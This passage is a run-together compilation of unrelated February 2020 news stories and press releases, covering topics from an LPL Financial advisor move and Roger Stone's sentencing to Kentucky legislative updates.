million in brokerage and advisory assets*. They join from Sagepoint Financial, part of the Advisor Group network of broker-dealers. After 20 years managing accounting for mutual fund companies, Freisen shifted his career focus to the advice side of the business, providing financial planning and investment management services through his firm, Triton Financial Planning Group in Red Bank, N.J. He teamed up with Celkupa about 10 years ago, and their office also includes a tax specialist and an operations manager. Most of our clients come in ready to retire. Our job is to create a financial plan with them that will help them work toward their goals of a successful retirement, Freisen said, noting that the teams extensive tax knowledge plays a valuable role in addressing their clients holistic financial picture. Our goal is to create meaningful relationships with clients in order to provide comprehensive planning and financial advice that is in their best interest. Freisen cited the service experience as a key reason they chose LPL, noting both human and digital aspects. LPLs service is tremendous. Were able to reach out to dedicated service professionals any time we need support, he said. We are also impressed with LPLs technology ecosystem, which is so critical to our day-to-day work and a big part of how we get value from LPL. Ive found that opening accounts, transferring money and uploading documents in ClientWorks is easy and user-friendly. And we absolutely love that eSignature is integrated throughout the entire system, making it quick and easy for our clients to sign documents. Story continues Rich Steinmeier, LPL Financial managing director and divisional president, Business Development, said, We welcome Jim and Jordan to LPL. Our entire focus is to support advisors and solve for the problems they face in their businesses, making it easier for them to stay focused on what they do best, which is helping their clients. We are committed to investing in capabilities and technology solutions that help advisors save time so they can continue building quality relationships and grow their practice. We look forward to a long partnership with Triton Financial Planning Group. Read about other firms that recently joined LPL in the LPL Financial News and Media section of LPL.com. About LPL Financial LPL Financial ( https://www.lpl.com ) is a leader in the retail financial advice market and the nations largest independent broker-dealer**. We serve independent financial advisors, professionals, and financial institutions, providing them with the technology, research, clearing and compliance services, and practice management programs they need to create and grow thriving practices. LPL enables them to provide objective guidance to millions of American families seeking wealth management, retirement planning, financial planning and asset management solutions. Securities and Advisory services offered through LPL Financial, a registered investment advisor. Member FINRA / SIPC. Triton Financial Planning Group and LPL Financial are separate entities. LPL Financial does not offer tax advice or tax related services. *Based on prior business and represents assets that would have been custodied at LPL Financial, rather than third-party custodians. Reported assets and client numbers have not been independently and fully verified by LPL Financial. **Based on total revenues, Financial Planning magazine June 1996-2019 Connect with Us! https://twitter.com/lpl https://www.linkedin.com/company/lpl-financial https://www.facebook.com/LPLFinancialLLC https://www.youtube.com/user/lplfinancialllc Washington, Feb 21 : Roger Stone, US President Donald Trump's longtime confidant, has been sentenced to 40 months in prison for lying to Congress and witness tampering during former special counsel Robert Mueller's Russia probe. Thursday's sentencing came after days of controversy surrounding the Justice Department's decision to lessen the sentence after Trump had tweeted about his displeasure with the gravity of the original sentence recommendation, reports Xinhua news agency. "Mr. Stone lied," US District Judge Amy Berman Jackson said in court. Stone chose not to speak when given the opportunity. Jackson sharply questioned the new attorney for the prosecution, John Crabb Jr. of the Washington D.C. Attorney's Office, over the Trump administration's sentencing reversal. Crabb said he was not authorized to discuss internal department deliberations in open court, while praising the original prosecution team and insisting that the Justice Department is committed to doing its job without "fear or favour". In November 2019, a federal court jury found Stone guilty of lying to a House committee about his efforts to find out what WikiLeaks planned to do with hacked emails dealing with Trump's Democratic rival Hillary Clinton during the 2016 US presidential election. The jury concluded that Stone also urged a radio host to lie to Congress about their WikiLeaks conversations. Stone was not charged with any underlying crime of coordinating with Russia during the 2016 election, although Mueller's team investigated him over tweets claiming to be in touch with WikiLeaks founder Julian Assange. Since Stone's lawyers submitted a sealed motion last week seeking for a new trial, Jackson said Thursday's sentence will be delayed from going into effect until after the motion is settled. Career federal prosecutors initially recommended a prison sentence of seven to nine years last week. Hours after Trump tweeted his displeasure, however, Attorney General William Barr intervened and directed the Justice Department to submit a new court filing, saying a three-to-four-year sentence would be "more in line with the typical sentences imposed" in similar cases. Four prosecutors resigned in protest afterwards and Barr has been under fire on allegations of "misuse of the criminal justice system" since then. The U.S. diplomat says her country will continue to press for UN attention and the international spotlight on Russia's aggression against Ukraine. Permanent Representative of the U.S. Mission to the United Nations, Ambassador Kelly Craft is calling on the Russian Federation to allow international observers from the Organization for Security and Co-operation in Europe (OSCE) and the United Nations (UN) to monitor the situation in occupied Crimea. "We call on Russia to allow OSCE and UN monitors' access to all of Ukraine's territory, including Crimea, to document the realities of life in these areas," she said at a UN General Assembly briefing on the situation in Ukraine in New York City on February 20. Read alsoUkraine's envoy calls on EU to make Russia stop aggression "We note that six years of ongoing conflict in Ukraine has led to the deaths of more than 13,000 people, displaced 1.4 million, and left 3.4 million in need of humanitarian assistance. At the same time, Russia continues to ignore the call for a comprehensive ceasefire and stalls agreement on additional disengagement areas and crossing points along the Line of Contact," she said. "These actions, and Russia's aggression are flagrant violations of international norms, are the greatest threat to European security since the Balkan Wars of the 1990s." The U.S. diplomat says her country will continue to press for UN attention and the international spotlight on Russia's aggression against Ukraine. "In November, we co-sponsored the Third Committee resolution on the human rights situation in Crimea. In December, we supported UN resolutions condemning Russian abuses and the military buildup in Russian-occupied Crimea. The fact that both resolutions were adopted by this very body confirms broad international community support condemning Russian aggression in Ukraine," she said. S tormzy has deleted his Twitter and Instagram without any warning to followers. The award-winning rapper posted on his social media platforms on Thursday when he was awarded the first ever Greggs "concierge card". Telling his followers he he had "peaked," the rapper revealed that the bakery chain had promised him free Greggs for life. But later in the day, fans were surprised to find his social media accounts had been deactivated. Stormzy performing at the Brit Awards. / Reuters His followers quickly started asking if the rapper had left social media, with one user saying: "What is going onnnnnn @Stormzy." Others added: "Whats going on with @stormzy Twitter account??" and "Has stormzy deleted his social media?" Stormzy's final post featured a video card Greggs had sent him, which reeled off a list of his recent achievements, including his Brit award success and Glastonbury performance, adding "now you really have it all." It is unknown why the 26-year-old's accounts vanished. The grime artist was a frequent Twitter and Instagram user, who often used his pages to interach with fans, He was also previously embroiled in a Twitter feud with fellow rapper Wiley. Stormzy at Glastonbury 2019 - In pictures 1 /17 Stormzy at Glastonbury 2019 - In pictures Rapper Stormzy performs at Glastonbury 2019 AFP/Getty Images The Croydon-born grime star, 25, described his slot on the iconic Pyramid stage as "the greatest night of my entire life". Reuters Stormzy took to the stage wearing a stab vest embellished with a Union Jack. Reuters He began with a performance of his 2015 track Know Me From before launching into Cold, from his 2017 debut album Gang Signs & Prayer. Reuters The set, broadcast live on BBC Two, was uncensored. AFP/Getty Images He told the screaming crowds he would take them "back in time" before playing Sweet Like Chocolate. Reuters Fireworks came from the stage, with Stormzy then performing a cover of Kanye West's Ultralight Beam Reuters One notable moment in his performance was when Stormzy detailed artists that had "paved the way" for him. Reuters He namechecked numerous grime artists he is now supporting. Reuters His final performance of the night was Big For Your Boots - which concluded with a mic drop Reuters British rapper Stormzy performs the headline slot on the Pyramid stage Reuters He performed in front of hundreds of thousands of adoring fans Reuters No other black British solo artist has headlined at Glastonbury EPA Stormzy has also been outspoken against the media on his social media platforms. India's organic food market is growing at 17 per cent annually and has the potential to grow at a faster pace on rising demand for health and wellness food products across the world, Union Food Processing Minister Harsimrat Kaur Badal said on Friday. Badal and Minister for Women and Child Development (WCD) Smriti Irani jointly inaugurated an organic food festival for women entrepreneurs at Jawahar Lal Nehru Stadium here. The festival with a theme ''Unleasing India''s Organic Market Potential'' has been organised by both the ministries with CII as the industry partner. More than 180 women entrepreneurs, self-help groups (SHGs) and co-operatives are taking part in this three-day exhibition organised in the national capital during February 21-23. Addressing the event, Badal said the two ministries have come together to give women entrepreneurs in the organic sector "wings to fly and reach the sky". She said this festival would be organised six times a year across India, and the plan is to make it an international exhibition in the near future. She said the entire world is looking towards organic and wellness food, which is required for both physical and mental health. "In organic and health foods, India is a power house," Badal said, adding that there are many parts of India which are naturally organic such as Sikkim, hilly states and tribal belts. This organic festival provides a platform to women entrepreneurs to connect with consumers as well as retailers, Badal said. "The organic sector in India is growing by almost 17 per cent every year... In times to come, the trend is going to grow much faster," the minister said. Earlier this month, Badal had said the organic food market will touch Rs 75,000 crore in the next five years. Badal said food processing, value addition and organic food would be instrumental in the government's target to double farmers' income. "Under the able leadership of Minister of Food Processing, we celebrate the entrepreneurial potential of over 180 women in this segment of organic food under the aegis of this festival," said Irani, who is also the Textile Minister. The government has ensured that women entrepreneurs get Mudra loans to start their venture, Irani said. She said foreign direct investment (FDI) in the food processing sector has increased substantially under the government led by Prime Minister Narendra Modi. The government is providing sustainable environment not only to farmers but also to entrepreneurs by engaging them with latest technology in food processing, the WCD minister said. Irani stressed on providing access to latest food processing technology available globally to entrepreneurs, especially women. Apart from women entrepreneurs, the minister suggested that Divyang citizens should be part of this organic food festival from next year. Tribal produce and nutritious food supported by Poshan Abhiyan should also be included. Food Processing Secretary Pushpa Subrahmanyam highlighted that India is ranked number one in organic producers and ninth in area under cultivation for organic products. The country produced around 1.7 million tonnes of certified organic products in 2017-18. It exported organic products worth USD 515 million in the same year. To boost organic products and women entrepreneurship, the two ministries had signed a memorandum of understanding last year to help them get connect with government's financial schemes. The overall effort is targeted towards strengthening organic branding for India by enhancing direct linkage of local producers with buyers as well as boosting processing potential of organic output. During the festival, training programmes will be organised for women entrepreneurs in the area of packaging, storage, marketing, innovations on renewable energy, food safety regulations and organic certifications. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Wells Fargo spokeswoman declined to comment. Representatives for the Justice Department and the S.E.C. did not immediately respond to requests for comment. The settlements would be the latest in a series of government penalties against the bank and its former leaders. Just last month, former Wells Fargo executives who presided over the abusive sales practices including a former chief executive, John G. Stumpf were subjected to the largest fines ever assessed by bank regulators. The scandal erupted in 2016 when Wells Fargo revealed that it had opened millions of bank accounts in customers names without their knowledge while charging other customers unnecessary fees for auto and home loans. It also admitted to selling some customers unwanted insurance products. While the settlements would resolve yearslong investigations by the agencies, they would not end the banks regulatory woes. For two years, the bank has been operating under growth restrictions imposed by the Federal Reserve, which has said it will not release the bank from those constraints until its leaders can demonstrate that they have restructured its operations to prevent similar abuses. Regulators are also still seeking penalties against former employees. On Jan. 23, the Office of the Comptroller of the Currency fined former top executives millions of dollars each; Mr. Stumpf agreed to pay $17.5 million. But others, including Carrie L. Tolstedt, Wells Fargos former head of retail banking, are fighting the cases brought by the regulator, which is seeking a $25 million fine against her. They're top stars of the reality world. And Teresa Giudice rocked an all-black ensemble to celebrate Slate's 20th anniversary party in New York on Thursday night. The 47-year-old New Jersey native looked supremely chic as she danced the night away with her Big Apple counterpart, Luann de Lesseps. Chic: Teresa Giudice rocked an all-black ensemble to celebrate Slate's 20th anniversary party in New York on Thursday night The Real Housewives of New Jersey star sported black slacks with a golden stripe running vertically down her leg. She stayed true to her monochrome theme with a black tee worn underneath a flashy leather jacket. A massive pair of diamond earrings sparkled from behind her chocolate brown tresses as she found a fun swing in the elaborate affair. Friends forever: The 47-year-old New Jersey native looked supremely chic as she danced the night away with her Big Apple counterpart, Luann de Lesseps Bold: Luann's flirty minidress was hemmed above her knees to reveal her toned legs and sparkled in the spotlight Good times: A massive pair of diamond earrings sparkled from behind her chocolate brown tresses as she found a fun swing in the elaborate affair. Luann's flirty minidress was hemmed above her knees to reveal her toned legs and sparkled in the spotlight. She added even more pizzazz with a pair of glittering booties to match a huge cocktail ring on her finger. Ever the fan of accessorizing, the cabaret queen showed off a pair of large silver hoop earrings with her chocolate brown hair tied back into a tight ponytail. The ladies of Bravo were joined by another reality alumni with Jersey Shore's Vinny Guadagnino stopping by to enjoy the festivities. City slicker: She added even more pizzazz with a pair of glittering booties to match a huge cocktail ring on her finger Hanging around: Ever the fan of accessorizing, the cabaret queen showed off a pair of large silver hoop earrings with her chocolate brown hair tied back into a tight ponytail Shore thing: The ladies of Bravo were joined by another reality alumni with Jersey Shore's Vinny Guadagnino stopping by to enjoy the festivities Slippery: The MTV star aka Keto Guido stayed comfortable in a tan sweatshirt paired with matching slacks while taking a ride down a funky slide The MTV star aka Keto Guido stayed comfortable in a tan sweatshirt paired with matching slacks while taking a ride down a funky slide. DailyMail TV's Alicia Quarles mixed patterns wearing a plush plaid scarf paired with over-the-knee snakeskin boots. Slate's known for its incredible bar and lounge space which transforms into a nightclub venue with gaming areas spanning across 16,000 square feet of space on two floors. Kansas City Fashion Help KC apparel company offering its old space for new startups KANSAS CITY, MO (KCTV) - For anyone who has ever thought about starting a business but didn't know where to begin, a KC company wants to offer a new home to get that new business idea off the ground. Mark Launiu has been one of the owners at streetwear maker Made Mobb since the company opened in 2013. Kansas City Opportunity Abounds Cover Story: Connectors bridge divides on diversity, inclusion - Kansas City Business Journal Andrea Hendricks doesn't lack for invitations to speak at business events, serve on panel discussions and join civic organizations. As an executive at one of Kansas City's biggest companies, cultivator of a large network and an expert in diversity and inclusion, she understands and is flattered. Morning Blaze 3 displaced by fire; pet feared dead KANSAS CITY, KS (KCTV) -- A KCK house fire overnight displaced a family and may have killed a pet. Fire crews responded around 2:30 a.m. to North 57th Street, just south of Parallel Parkway. There they found a house engulfed by flames. Three adults who had been in the home made it out safely. Golden Ghetto Build Up With STAR bonds in question, Overland Park will move forward on Bluhawk development KANSAS CITY, Mo. - A decision by the Kansas state legislature could affect local development. The legislature could change the rules on how developers can use state money to pay for projects. By the end of this session, Kansas lawmakers must decide whether to keep, modify or end the STAR bond concept. Hottie Fashion Forward Emily Ratajkowski puts on a racy display during Milan Fashion Week She returned to New York from a Jamaican getaway just days ago. And jet-setting model Emily Ratajkowski was spotted in Milan, Italy, during its Fashion Week on Wednesday. The Gone Girl actress, 28, put on a racy display as she appeared to go braless in a plunging leather-look trench coat. MAGA RALLIES AGAINST DEMS!!! Trump campaign rallies stalk Democrats in 2020 preview President Donald Trump spent his week thousands of miles from Washington, holding back-to-back rallies in Arizona and Colorado in a trip that will culminate with one more in Las Vegas the day before Saturday's Democratic caucuses. China Threat Spreads Coronavirus updates: South Korea reports big jump in cases, virus spreading in Chinese prisons Two more deaths and new cases in Iran * South Korean city declared 'special management zone' following spread from church * Total number of infections stands over 76,000 globally * Last healthy travelers to leave stricken cruise ship Diamond Princess in Japan * China reports spike in coronavirus cases in prisons * China says earliest coronavirus vaccine to be submitted for trials late April Novi Sanzhary, a village in central Ukraine's Poltava region, is calmer today after Thursday's clashes over evacuees brought from Coronavirus-stricken Wuhan, China, according to media reports and a statement from the Ministry of Internal Affairs. Tense Truce??? US and Afghan Taliban to start partial truce A seven-day "reduction in violence" between the US and the Afghan Taliban will begin on Saturday, officials say. "This is an important step on a long road to peace," US Secretary of State Mike Pompeo said on Friday. If successful, the two sides will then sign the first phase of a deal aimed at ending nearly two decades of conflict. Fight For Hairstyle Rights Kansas Could Ban Discrimination Against Workers For Black Hairstyles Like Dreadlocks And Braids Emily Brown runs a non-profit in the Kansas City area. She is a black woman who wears her hair naturally. In 2016, she was invited to speak at a national conference, but one of the board members pulled her aside. "You know, I think you're smart," Brown said recently on KCUR's Central Standard. Local College On The Right Side Of History The Battle of Parkville: In 1942, Park University welcomed Japanese-Americans from internment camps PARKVILLE, Mo. -- This week, lawmakers in California formally apologized for the internment of more than 100,000 Japanese-Americans, most born in the United States, in the months following the attack on Pearl Harbor. KC Smackdown Journalism AEW Begins New Era in Kansas City Wrestling A new chapter in Kansas City's rich history of professional wrestling will be written next week, as All Elite Wrestling (AEW) comes to town for the first time since the promotion's launch in 2019. Forecast For Now Warm Saturday, heavy rain possible Sunday Enjoy Friday and Saturday! To start this morning we share a cheeky roundup of all things pop culture, community news and so much more . . .is the song of the day and this is thefor right now . . . (Newser) A legal expert has written a contract that Michael Bloomberg can sign to release former Bloomberg employees from nondisclosure agreementsand her name is Elizabeth Warren. The senator, who passed the bar examination in 1976 and has taught law at several universities, unveiled the contract at a CNN town hall in Nevada Thursday. "I used to teach contract law," said Warren, who pressed Bloomberg on the issue during Wednesday night's debate. "And I thought I would make this easy. I wrote up a release and covenant not to sue, and all that Mayor Bloomberg has to do is download itI'll text itsign it, and then the women, or men, will be free to speak and tell their own stories." story continues below Warren also tweeted a copy of the document Thursday night, saying "Mike Bloomberg can easily release the women who have accused him of sexual harassmentand who voluntarily want to speak about their experiencesfrom their non-disclosure agreements," the Hill reports. During the debate, Bloomberg was booed after he said he wouldn't release women from the NDAs. "None of them accuse me of doing anything other than maybe they didn't like a joke I told," the former New York City mayor said. (Read more Elizabeth Warren 2020 stories.) STATEN ISLAND -- The Islands Democratic Party endorsed Rep. Max Rose, three Democratic incumbents in the state legislature and a candidate vying for Assemblywoman Nicole Malliotakis seat at its county convention Wednesday night. Party chairman Assemblyman Michael Cusick urged fellow Democrats to fight to ensure Rep. Rose remains in Washington, D.C. and to reclaim the East Shore and South Brooklyn Assembly seat held by five-term Assemblywoman Nicole Malliotakis who is running for Congress against Rep. Rose. The party endorsed Rose, Cusick, Assemblyman Charles Fall, state Sen. Diane Savino and Savinos deputy chief of staff, Brandon Patterson, who is running for Malliotakis Assembly seat. NO CHALLENGERS FOR LANZA, REILLY; NO WHITE HOUSE PICK But the Party did not put forth any candidates to run for seats held by Republican lawmakers South Shore Assemblyman Michael Reilly or state Sen. Andrew Lanza. Cusick said no one approached the party for interviews to run for those seats. However, he said he would be willing to consider candidates who want to run against the Republican incumbents before the April 2 deadline for candidates to file to run for congress and the state Legislature. The assemblyman also said the party decided to not make any presidential endorsements in the lead up to the states April 28 presidential primary because party members would not be able to reach a consensus on the eight Democrats currently in the running. The party will not be [endorsing] because there are so many diverse candidates that people are supporting that there wouldnt be a consensus from the party and folks have already circulated petitions for different candidates, said Cusick, who recently endorsed former mayor Michael Bloomberg. So we believe it was better to just let people pick their own candidates. All of the candidates attended the convention except for Assemblyman Fall, who is out of the country attending to legislative responsibilities, his spokesperson said, however she did not immediately respond when asked which country the assemblyman was in and for what purpose. REP. ROSE: WE ARE JUST GETTING STARTED The partys top of the ticket pick tried to rile up his Democratic base Thursday night, telling fellow Democrats: We are just getting started. Theyre saying that 2018 was a fluke theyre saying 2018 we were under the radar, they didnt think that we could win so they got lazy and thats the only reason why we got more votes from the other guy, Rose said referring to his historic defeat of Republican incumbent Rep. Dan Donovan. Now theyre saying because we uphold our values, because we upheld the Constitution, because we did what was right and we didn't look at polls, that were going to lose, well I'll tell you this, thats why were going to win, Rose continued. Were going to take it to them and were going to keep on winning how does that sound? Three of the candidates -- Rose, Savino and Patterson -- are running in districts that also represent a slice of South Brooklyn. Brooklyn Democratic Party spokesman Bob Liff recently said Rose, Savino and Patterson were endorsed unanimously by the party. However, he could not say if any other candidates had interviewed with the executive committee for those races before the endorsements were made. Currently, Savino is the only one of the partys Democratic slate with primary challengers. One of those challengers is Rajiv Gowda, a longtime Mariners Harbor resident, union leader and engineer, who calls Savino a turncoat Democrat and is upset she aligned herself with Republicans. Another, is New Brighton resident Brandon Stradford, a human resource professional, who ran against Savino in the Democratic primary in 2018 and thinks he can build a larger following this year to beat the incumbent come June. The nominations for the five candidates were nearly unanimous for the exception of one woman who raised her hand to oppose the partys endorsement of Savino. The woman who opposed Savinos sat next to Jasmine Robinson, who lost to Savino in the 2018 Democratic primary. Asked why the woman opposed Savino, Robinson said the woman would not be talking to the media. On Thursday night, the party also endorsed Attorney Allyn Crawford as its pick for the boroughwide Civil Court seat and made endorsements for a number of district leadership positions and judicial delegate seats. The primary for state and congressional races are scheduled for June 23. The Islands Republican Party will hold its county convention on Feb. 27. FOLLOW SYDNEY KASHIWAGI ON TWITTER. All the ships work shall cease, Mobile Mayor Sandy Stimpson decreed on Friday, in remarks addressed to the crew of the guided missile destroyer USS McFaul. Sweepers will store their brooms. Serious matters will not be discussed. Problems will not occur. And most importantly, celebration and revelry shall dominate all the ships plans of the day while in the city of Mobile. Its traditional for a Navy ship to dock in Mobile during Mardi Gras. This year its the McFaul, an Arleigh Burke-class destroyer built by Ingalls Shipbuilding in Pascagoula. It was windy and, by Mobiles standards at least, briskly cold as the ship was secured at a dock just north of the Arthur R. Outlaw Mobile Convention Center. Crewmates from USS Alabama Battleship Memorial Park tossed beads to sailor lined up at the rails; Azalea Trail Maids took Cmdr. Rusty J. Williamsons arms as he came ashore. Music was provided by members of the Davidson High School Marching Band, and members of the U.S. Naval Cadet Corps and Navy League Cadet Corps presented the colors. The guided missile destroyer USS McFaul passes LCS 26, the future USS Mobile. The McFaul docked in Mobile on Feb. 21, 2020, to maintain the Navy's traditional presence at Mardi Gras. (Lawrence Specker | LSpecker@AL.com)Lawrence Specker | LSpecker@AL.com Williamson took Stimpsons decree in good spirits, and told onlookers it is the warmest day that weve seen in a long time. Williamson said hed brought 330 citizen sailors to Mobile. Im excited for you to meet them, he said. Im excited for you to show them your town and this wonderful event I guess we cant do any work, you heard the mayor. The U.S. Coast Guard cutter Gannet will begin its own Mardi Gras visit on Monday, Feb. 24, docking at the GulfQuest Maritime Museum. Both ships will be open to tours during their visits. The following information was provided by the Alabama State Port Authority and the Navy League of the United States: USS McFAUL (DDG 74) Public Tours Info Public Tours: Feb. 22-25, 8:30 am- 11 a.m. and 1 p.m. - 4 p.m. (CST) Pier 2 Terminal, downtown Mobile, Ala. The gate entrance is located on the north side of the Mobile Convention Center on Water Street. The public is welcome, but all visitors are required to wear closed toe/heel shoes and carry valid identification. All guests will undergo security screening prior to entry to the facility. USCGC GANNET Public Tours Info GANNET will moor at 9 a.m. (CST) on Monday, Feb. 24, at the GulfQuest Maritime Museum, 155 S. Water Street, in downtown Mobile, Ala. Public Tours: Feb. 24 between the hours of 11 a.m. and 3 p.m. (CST), and Feb. 25-26 between the hours of 10 a.m. and 3 p.m. (CST). The public is welcome, but all visitors are required to wear closed toe/heel shoes and carry valid identification. Concern in Congress and around the government has grown in recent months about Espers review of U.S. troop levels worldwide, which fits into President Trumps campaign promise to bring U.S. troops home from abroad and save money by doing it. In the U.S. command in Africa, the first theater to be examined, Esper is reportedly planning to recommend a sweeping drawdown that could include ending U.S. military support for French forces fighting terrorism in Mali and closing down a new drone base in Niger. Parents of Indian Kulbhushan Jadhav, who is still in the custody of Pakistan on the false charge of being a spy, arrived at the Kashi Vishveshwar Mandir in Matunga area of Mumbai to offer prayers on the occasion of Maha Shivaratri. In December, the Ministry of External Affairs (MEA) had said that there is 'some communication' going on between India and Pakistan over granting consular access to Indian Kulbhushan Jadhav, as per the ruling of Hague-based International Court of Justice (ICJ). "We are in touch with the Pakistan side through diplomatic channels. I have mentioned earlier as well that we have requested for immediate, effective and unhindered consular access in light of the ICJ judgment. There is some communication going on between India and Pakistan on this issue," MEA spokesperson Raveesh Kumar had told reporters at a weekly press briefing. On September 2, India's Deputy High Commissioner to Pakistan Gaurav Ahluwalia met Jadhav in Islamabad after Pakistan granted consular access to the former naval officer. In July, the ICJ, by a vote of 15-1, had upheld India's claim that Pakistan has committed an egregious violation of the Vienna Convention on Consular Relations on several counts. The world court had ordered Islamabad to carry out an effective "review and reconsideration" of his conviction. Jadhav was purportedly "arrested" from Balochistan by Pakistani security forces on March 3, 2016, after he allegedly entered the country from Iran as claimed by Islamabad. India has rejected Pakistan's allegations about Jadhav's involvement in spying and subversive activities and said he was kidnapped from the Iranian port of Chabahar where he was running a business. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Koneru managed a 2627 Elo performance with four wins and one loss (to Mariya Muzychuk) to overtake Ju in the rating list. If she maintains form, she should qualify easily for the Candidates, where she would be one of the favourites. In the Open Candidates, which start in Yekaterinburg on March 15, the two Chinese representatives will have to arrive early. While ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. 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Digital Editor Every assistant with literary dreams, sifting through the slush pile, can now focus on the tale of Zakiya Dalila Harris, a former Knopf assistant editor who just sold her debut novel in a seven-figure deal. The Other Black Girla cheeky blend of horror, suspense, and cultural commentary that sends up the industry the 27-year-old used to work inhas been acquired by Atrias Lindsay Sagnette after a 14-bidder auction. Pitched by agent Stephanie Delman as Get Out meets Younger, the novel, which became a hot commodity shortly after hitting the desks of New York editors late last month, is now likely to be the talk of the upcoming London Book Fair, where foreign rights to it will be up for grabs. About a young black assistant at a publishing house who is initially excited, and then unmoored, by the arrival of another young black colleague, the novel puts an uncomfortable spotlight on the microaggressions and racism that many people of color say continues to be a staple of an industry with an overwhelmingly white workforce. Delman began sending the manuscript out on January 30. When asked about the fact that The Other Black Girl surfaced as the controversy surrounding American Dirt put a fresh spotlight on the subject of diversity in publishing, the Sanford Greenburger agent admitted that what was happening in the background of the submission process came up in initial editorial meetings. Noting that Harriss novel doesnt have any direct literary comps, Delman said she felt the American Dirt controversy, and the topics it has resurfaced, may have made editors even more confident that The Other Black Girl has an audience. The editors who loved this book were always going to love it, Delman said. But, I think from a business standpoint, [the American Dirt controversy] probably... proved this isnt just something were screaming about. What about Harriss former colleagues? Will they welcome the novel? Delman said that she doesnt really see the book as a roman a clef, and that Harriss friends at Knopf were some of her earliest supporters. I think that she was confident and comfortable that this isnt about Knopf; its about the industry at large. Anyone who knows her from working with her at Knopf or Doubleday would be first to say shes not skewering us. For Harris, the experience of selling her novel has been a whirlwind. She got the idea for the book about a year ago, and then decided to quit her job to try and write it. Having been in publishing since 2016, the Brooklyn-based author supported herself with part-time teaching gigs and a job in a cupcake shop. So what was the moment that inspired her to write The Other Black Girl? It happened in, of all places, the bathroom at her former office in the Penguin Random House building. Harris said she was washing her hands when another young, black girl emerged from one of the stalls. I thought, Who are you? Harris said, explaining that it was a rarity to see another person of color in the office. I thought about how shocked I was. Then I was shocked at how shocked I was. She went back to her desk and recounted what had happened with a colleague. Emboldened with what she felt were the early seeds of a much deeper story, and disillusioned at workshe had recently gotten a promotion, but couldnt shake the feeling that she wanted to write the books, not edit themshe quit. Harris, who has an MFA in nonfiction from the New School, said there have been a number of seemingly too-good-to-be-true moments during the sales process for her book. One came when she returned to her old office, at PRH's Manhattan headquarters, for editor meetings. When I went back to [PRH], I remembered having my first interview there. I recognized all the people working in the lobby. And, getting into the elevator, I felt that muscle memory and initially tried to hit the button for the floor I used to work on. Even better than the feeling of going back to PRH as an author instead of an assistant has been the feedback Harris has received from certain young people in the industry. One of the coolest things has been meeting POC [people of color] in publishing I didnt know before. Explaining that a number of young people whove read the manuscript have reached out to hersome in person, some via social mediaHarris said that shes been blown away by the response. A few young women of color have said to me in meetings that [this book] meant so much to them. That they feel seen. Thats what I wanted. I wanted to be this voice that didnt necessarily exist before. Atria bought North American rights to the novel, and Sanford Greenburgers Stefanie Diaz is handling foreign rights for the title at the fair. Diaz confirmed that the book had been preempted in Brazil (selling there before the sale to Atria closed) and in France. At press time, an auction for the novel in the U.K. was ongoing. The novel is also out for film, with UTA handling those rights. : IT major Verizon India has inked a pact with Indian Institute of Technology, Madras, to provide opportunities in the field of engineering to students living in rural areas. According to the programme '1Lab-1School', IIT-Madras is connecting top graduate laboratories to high schools of rural Tamil Nadu, a press release said. The initiative is fully funded by Verizon India as part of its commitment to empower rural communities. The '1Lab-1School', in its second year, has covered over 800 students of 20 schools from Tiruvallur, Kancheepuram and Vellore districts. "1Lab-1School programme stands apart for its potential to transform science in India in the long run," Verizon India MD Kalyani Sekar said. "We are confident that the progamme makes quality science and technology accessible for hundreds of children," she said. Under the initiative, mentor groups from IIT-Madras Research Labs comprising students of MS, MTech and Ph.D and faculty from science and engineering department would adopt rural government higher secondary schools. "A total of 20 research lab of IIT Madras has been connected to 20 rural schools since June 2018 with over 150 graduate students from the institute having trained over 800 students in the ninth grade," IIT Madras project lead and associate professor, department of applied mechanics, Pijush Ghosh said. "We would like the higher community to take up such models and implement them in schools in their regions so that together we can contribute towards the betterment and future of children in rural India," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Advertisement By Sen. Danny Carroll Feb. 21, 2020 | PADUCAH By Sen. Danny Carroll Feb. 21, 2020 | 10:41 AM | PADUCAH We began the week by remembering our founding fathers and the noble leaders who helped shape our great nation. On Presidents Day, we salute all U.S. Presidents, past and present, especially Kentucky's son, Abraham Lincoln. If you've visited the Capitol, you may remember the grand statue of President Lincoln in the rotunda. There is a century-old tradition of rubbing his left boot for good luck. Especially popular during the session months, lawmakers and visitors frequently touch the statue as they pass through the rotunda. While the hustle and bustle of the session could always use a little more positivity and luck, the statue serves as a daily reminder of Lincoln's remarkable leadership and moral courage he displayed as a lawmaker, the type of Kentuckian we should all aspire to be. Week seven marks the halfway point of the 2020 Regular Session of the Kentucky General Assembly. For the past couple of months, I, along with my colleagues in the Senate and House, have been working diligently to pass legislation on a wide variety of issues facing Kentuckians and our Commonwealth. With a little fewer than 30 days left in the session, we want to make sure that we are maximizing our time here in Frankfort. There was no shortage of bill movement in Senate committees and the chamber this week. The State & Local Government Committee heard testimony and passed several constitutional amendments including Senate Bill (SB) 58, which would limit the Governor's ability to grant pardons beginning 30 days prior to a gubernatorial election and ending at that gubernatorial inauguration. SB 62 would grant persons convicted of a felony other than a sex offense, a violent offense, or an offense against a child, the right to vote five years after completion of sentence. Also passing through the Senate State & Local Government Committee was SB 15, also known as "Marsy's Law." This constitutional amendment and national effort is no stranger to the Kentucky General Assembly, having been passed in 2018 with bipartisan support. Similar to the previous bill, SB 15 would require victims of crime to be notified throughout the judicial process. This year's bill adds in the requirement that victims must be notified in advance of any pardon or commutation of a sentence, which is not currently required by law. I have been a strong supporter of this bill because throughout my law enforcement I observed the benefits of keeping victims of crimes informed and involved in their case as it moves through the system. The Senate passed another priority measure this week. SB 4 is a bill that serves to depoliticize the Kentucky Transportation Cabinet (KYTC). Governors in the past have utilized KYTC as leverage when allocating funding for road projects. SB 4 would codify into law the previous administration's Strategic Highway Investment Formula for Tomorrow (SHIFT) initiative, a data-driven, objective approach to compare capital improvement projects and prioritize limited transportation funds. SB 4 would establish a diverse Transportation Board which would be responsible for recommending the state road plan to the Kentucky General Assembly. However, legislators would still make the ultimate decision on the state's six-year road budget. SB 4 would also provide necessary oversight over the appointment of the Cabinet Secretary. Board members, in coordination with various organizations such as the Kentucky Association of Counties and the Kentucky League of Cities, would nominate three well-qualified Secretary Candidates for the Governor to choose from. So as to avoid any concerns that the bill was politically motivated, 